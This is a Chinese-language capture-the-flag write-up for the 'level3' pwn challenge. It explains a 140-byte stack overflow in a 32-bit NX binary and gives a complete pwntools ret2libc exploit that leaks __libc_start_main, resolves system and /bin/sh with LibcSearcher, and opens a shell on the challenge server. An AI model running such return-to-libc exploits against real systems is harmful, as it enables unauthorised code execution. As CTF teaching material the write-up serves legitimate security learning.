level3--writeup

文件下載地址:

鏈接:https://pan.baidu.com/s/1ByM1Dbt5j7Gw9mNkWryAVA
提取碼:pqzc 

目錄

0x01.分析

checksec:

查看源碼:

 

程序流程:

漏洞利用:

0x02.exp

0x03.說明


0x01.分析

checksec:

32位程序,開啓了NX。

查看源碼:

 

程序流程:

流程很簡單,程序先輸入,然後我們輸入。

漏洞利用:

  1. 很明顯read處棧溢出。
  2. 計算得到棧溢出的偏移量爲140。
  3. 尋找system函數或/bin/sh。
  4. 沒有找到上述。
  5. 題目提供了一個libc文件,提示也是libc。
  6. 我們想到泄露libc基址的辦法。
  7. 泄露一個已經執行過的函數,這裏選用__libc_start_main。
  8. 利用存在的函數把這個要泄露的函數的地址打印出來。
  9. 接收地址,並使用LibcSearcher工具查詢libc版本。(也可以用一個網站,應該題目提供的libc文件有用,但我沒有用到)。
  10. 計算出libc的基址,並求得sytem和/bin/sh得地址。
  11. 控制程序返回到main函數,再進行一次棧溢出,執行system函數,得到shell。

0x02.exp

##!/usr/bin/env python
from pwn import*
from LibcSearcher import LibcSearcher

r=remote("111.198.29.45",36406)
#r=process('./level3')
elf=ELF('./level3')

write_plt=elf.plt['write']
libc_start_main_got=elf.got['__libc_start_main']
main=elf.symbols['_start']

payload=flat([140*'A',write_plt,main,1,libc_start_main_got,4])
r.sendlineafter("Input:\n",payload)

libc_start_main_adr=u32(r.recv()[0:4])

libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
libcbase=libc_start_main_adr-libc.dump('__libc_start_main')

system_adr=libcbase+libc.dump('system')
bin_sh_adr=libcbase+libc.dump('str_bin_sh')

payload=flat([140*'A',system_adr,0,bin_sh_adr])
r.sendline(payload)
r.interactive()

0x03.說明

題目提供了libc文件,但我暫時不知道怎麼使用,應該是用於查詢libc版本的。

 用LibcSearcher會有多種可能,並且本地測試,和服務器測試都不一樣的。

由於種數比較少,我就直接一個個試,最後得到正確的libc版本,獲取shell。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章